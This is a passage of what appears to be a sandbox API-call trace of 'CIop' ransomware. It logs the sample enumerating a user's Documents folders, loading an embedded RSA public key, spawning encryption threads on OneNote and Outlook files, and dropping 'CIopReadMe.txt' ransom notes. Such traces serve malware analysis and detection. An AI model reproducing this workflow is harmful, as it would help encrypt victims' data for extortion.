lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0090.118] SetErrorMode (uMode=0x1) returned 0x1 [0090.118] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0090.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0090.118] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0090.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0090.118] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0090.118] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0090.118] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0090.118] lstrcmpW (lpString1="folder.ico.CIop", lpString2="..") returned 1 [0090.118] lstrcmpW (lpString1="folder.ico.CIop", lpString2=".") returned 1 [0090.118] lstrlenW (lpString=".CIop") returned 5 [0090.118] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0090.118] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0090.118] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0090.118] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0090.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0090.118] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0090.118] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0090.118] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0090.118] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0090.118] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0090.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0090.119] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0090.119] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0090.119] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.119] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.119] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.119] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.119] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0090.119] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0090.119] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0090.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0090.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0090.119] SetErrorMode (uMode=0x1) returned 0x1 [0090.119] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0090.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0090.119] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0090.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0090.119] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5d6588 [0090.119] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0090.120] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0090.120] FindNextFileW (in: hFindFile=0x5d6588, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.120] FindNextFileW (in: hFindFile=0x5d6588, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.120] FindNextFileW (in: hFindFile=0x5d6588, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.120] FindClose (in: hFindFile=0x5d6588 | out: hFindFile=0x5d6588) returned 1 [0090.120] FindClose (in: hFindFile=0x5d6588 | out: hFindFile=0x5d6588) returned 0 [0090.120] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0090.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0090.120] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5d6588 [0090.120] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0090.120] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0090.120] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0090.121] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.121] FindNextFileW (in: hFindFile=0x5d6588, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.121] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0090.121] FindNextFileW (in: hFindFile=0x5d6588, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.121] lstrcmpW (lpString1="My Notebook", lpString2="..") returned 1 [0090.121] lstrcmpW (lpString1="My Notebook", lpString2=".") returned 1 [0090.121] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0090.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0090.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0090.121] SetErrorMode (uMode=0x1) returned 0x1 [0090.121] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0090.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0090.121] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0090.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0090.121] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x5d6488 [0090.124] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0090.124] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0090.124] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.124] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.124] lstrcmpW (lpString1="Open Notebook.onetoc2", lpString2="..") returned 1 [0090.125] lstrcmpW (lpString1="Open Notebook.onetoc2", lpString2=".") returned 1 [0090.125] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned 66 [0090.125] Sleep (dwMilliseconds=0xd) [0090.169] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.170] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="Open Notebook.onetoc2" | out: lpString1="Open Notebook.onetoc2") returned="Open Notebook.onetoc2" [0090.170] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0090.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0090.170] SetErrorMode (uMode=0x1) returned 0x1 [0090.170] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CIopReadMe.txt") returned 76 [0090.170] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.171] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0090.171] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0090.171] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0090.171] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0090.171] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0090.171] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404 [0090.231] WriteFile (in: hFile=0x404, lpBuffer=0x612918*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc51cc, lpOverlapped=0x0 | out: lpBuffer=0x612918*, lpNumberOfBytesWritten=0x2dc51cc*=0x759, lpOverlapped=0x0) returned 1 [0090.232] CloseHandle (hObject=0x404) returned 1 [0090.232] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.232] lstrcmpW (lpString1="Quick Notes.one", lpString2="..") returned 1 [0090.232] lstrcmpW (lpString1="Quick Notes.one", lpString2=".") returned 1 [0090.232] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned 66 [0090.232] Sleep (dwMilliseconds=0xd) [0090.252] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.252] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="Quick Notes.one" | out: lpString1="Quick Notes.one") returned="Quick Notes.one" [0090.252] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0090.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0090.253] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0xffffffff) returned 0x0 [0090.671] SetErrorMode (uMode=0x1) returned 0x1 [0090.671] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CIopReadMe.txt") returned 76 [0090.671] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0090.671] CloseHandle (hObject=0x404) returned 1 [0090.671] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0090.671] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 1 [0090.671] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 0 [0090.672] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0090.672] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0090.672] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x5d6488 [0090.672] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0090.672] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0090.672] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0090.672] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.672] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.672] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0090.672] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.672] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.672] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.672] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0090.672] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 1 [0090.672] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 0 [0090.672] FindNextFileW (in: hFindFile=0x5d6588, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.672] FindClose (in: hFindFile=0x5d6588 | out: hFindFile=0x5d6588) returned 1 [0090.672] FindClose (in: hFindFile=0x5d6588 | out: hFindFile=0x5d6588) returned 0 [0090.672] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.672] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0090.672] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0090.673] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0090.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0090.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0090.673] SetErrorMode (uMode=0x1) returned 0x1 [0090.673] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0090.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0090.673] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0090.673] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0090.673] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5d6488 [0090.673] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0090.673] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0090.673] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.673] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.673] lstrcmpW (lpString1="lcfkj@kiekc.df.pst", lpString2="..") returned 1 [0090.673] lstrcmpW (lpString1="lcfkj@kiekc.df.pst", lpString2=".") returned 1 [0090.673] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned 50 [0090.673] Sleep (dwMilliseconds=0xd) [0090.700] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm 